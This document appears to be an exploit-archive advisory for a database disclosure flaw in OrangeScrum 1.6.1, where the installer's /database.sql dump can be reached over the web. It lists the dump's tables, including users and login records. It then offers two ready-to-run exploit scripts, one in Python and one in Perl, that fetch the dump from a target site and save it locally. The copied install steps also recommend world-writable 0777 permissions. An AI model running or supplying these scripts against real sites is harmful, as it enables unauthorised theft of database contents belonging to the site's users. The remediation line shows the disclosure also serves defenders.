OrangeScrum Project Management Software 1.6.1 Database Disclosure

2019.04.12
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-200

########################################################################### # Exploit Title : OrangeScrum Project Management Software 1.6.1 Database Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 12/04/2019 # Vendor Homepage : orangescrum.com # Software Download Link : orangescrum.org/free-download github.com/Orangescrum/orangescrum/archive/master.zip libraries.io/github/Orangescrum/orangescrum github.com/Orangescrum/orangescrum/releases/tag/v1.6.1 # Software Information Link : orangescrum.com/project-management github.com/Orangescrum/orangescrum # Software Version : 1.6.1 and lower versions # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : High # Vulnerability Type : CWE-200 [ Information Exposure ] CWE-538 [ File and Directory Information Exposure ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos # Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ] acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/ # Acunetix Reference Link About : [ Possible Database Backup File ] acunetix.com/vulnerabilities/web/possible-database-backup/ ########################################################################### # Information about Software : **************************** OrangeScrum is a Flexible Project Management web application written in CakePHP. ########################################################################### # Impact : *********** * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the World Wide Web. It can be used to dump a database or a collection of databases for backup or transfer to another SQL server (not necessarily a MySQL server). The dump typically contains SQL statements to create the table, populate it, or both. This file contains an phpMyAdmin SQL dump. This information is highly sensitive and should not be found on a production system. * It looks like this file contains a database backup/dump. Acunetix inferred this filename from the domain name. A database backup contains a record of the table structure and/or the data from a database and is usually in the form of a list of SQL statements. A database backup is most often used for backing up a database so that its contents can be restored in the event of data loss. This information is highly sensitive and should never be found on a production system. Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible to the web server. As a workaround, you could restrict access to this file. Requirements *************** * Apache with `mod_rewrite` * Enable curl in php.ini * Change the 'post_max_size' and `upload_max_filesize` to 200Mb in php.ini * PHP 5.3 or higher * MySQL 4.1 or higher * If STRICT mode is On, turn it Off. Installation ************* * Extract the archive. Upload the extracted folder(orangescrum-master) to your working directory. * Provide proper write permission to "app/Config", "app/tmp" and "app/webroot" folders and their sub-folders. Ex. chmod -R 0777 app/Config, chmod -R 0777 app/tmp, chmod -R 0777 app/webroot You can change the write permission of "app/Config" folder after installation procedure is completed. * Create a new MySQL database named "orangescrum"(`utf8_unicode_ci` collation). * Get the database.sql file from the root directory and import that to your database. * Locate your `app` directory, do the changes on following files: * `app/Config/database.php` - We have already updated the database name as "Orangescrum" which you can change at any point. In order to change it, just create a database using any name and update that name as database in DATABASE_CONFIG section. And also you can set a password for your Mysql login which you will have to update in the same page as password. [Required] * `app/Config/constants.php` - Provide your valid SMTP_UNAME and SMTP_PWORD. For SMTP email sending you can use(Only one at a time) either Gmail or Sendgrid or Mandrill. By default we are assuming that you are using Gmail, so Gmail SMTP configuration section is uncommented. If you are using Sendgrid or Mandrill just comment out the Gmail section and uncomment the Sendgrid or Mandrill configuration section as per your requirement. [Required] * `app/Config/constants.php` - Update the FROM_EMAIL_NOTIFY and SUPPORT_EMAIL [Required] * Run the application as http://your-site.com/ from your browser and start using Orangescrum For more information please visit below link: orangescrum.org/general-installation-guide ########################################################################### File : ****** /database.sql Information : ************* -- phpMyAdmin SQL Dump -- version 4.1.12 -- phpmyadmin.net -- -- Host: 127.0.0.1 -- Server version: 5.5.36 -- PHP Version: 5.4.27 -- Database : orangescrum -- Database: `os_security` -- Table structure for table `archives` -- Table structure for table `case_actions` -- Table structure for table `case_files` -- Table structure for table `case_file_drives` -- Table structure for table `case_filters` -- Table structure for table `case_recents` -- Table structure for table `case_settings` -- Table structure for table `case_templates` -- Table structure for table `case_user_emails` -- Table structure for table `case_user_views` -- Table structure for table `companies` -- Table structure for table `company_users` -- Table structure for table `custom_filters` -- Table structure for table `dailyupdate_notifications` -- Table structure for table `daily_updates` -- Table structure for table `default_project_templates` -- Table structure for table `default_project_template_cases` -- Table structure for table `default_templates` -- Dumping data for table `default_templates` -- Table structure for table `easycases` -- Table structure for table `easycase_milestones` -- Table structure for table `email_reminders` -- Table structure for table `log_activities` -- Table structure for table `log_types` -- Dumping data for table `log_types` -- Table structure for table `mail_tbls` -- Table structure for table `milestones` -- Table structure for table `project_technologies` -- Table structure for table `project_templates` -- Table structure for table `project_template_cases` -- Table structure for table `project_users` -- Table structure for table `save_reports` -- Table structure for table `subscriptions` -- Dumping data for table `subscriptions` -- Table structure for table `timezones` -- Dumping data for table `timezones` -- Table structure for table `timezone_names` -- Dumping data for table `timezone_names` -- Table structure for table `transactions` -- Table structure for table `types` -- Dumping data for table `types` -- Table structure for table `type_companies` -- Table structure for table `users` -- Table structure for table `user_infos` -- Table structure for table `user_invitations` -- Table structure for table `user_logins` -- Dumping data for table `user_logins` -- Table structure for table `user_notifications` -- Table structure for table `user_subscriptions` -- Table structure for table `os_session_logs` -- Table structure for table `addons` -- Indexes for table `addons` ########################################################################### # Database Disclosure Information Exposure Exploit 1 : *********************************************** #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/database.sql" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.*=*", html)) print rdo exit ########################################################################### # Database Disclosure Information Exposure Exploit 2 : *********************************************** #!/usr/bin/perl -w # Author : KingSkrupellos # Team : Cyberizm Digital Security Army use LWP::Simple; use LWP::UserAgent; system('cls'); system('OrangeScrum Project Management Software 1.0 Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use\n\n"; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } ($TargetIP, $path, $File,) = @ARGV; $File="database.sql"; my $url = "http://" . $TargetIP . $path . $File; print "\n Wait Please Dear Hacker!!! \n\n"; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/database.sql"); if ($request->is_success) { print "[+] $url Exploited!\n\n"; print "[+] Database saved to D:/database.sql\n"; exit(); } else { print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n"; exit(); } ########################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###########################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top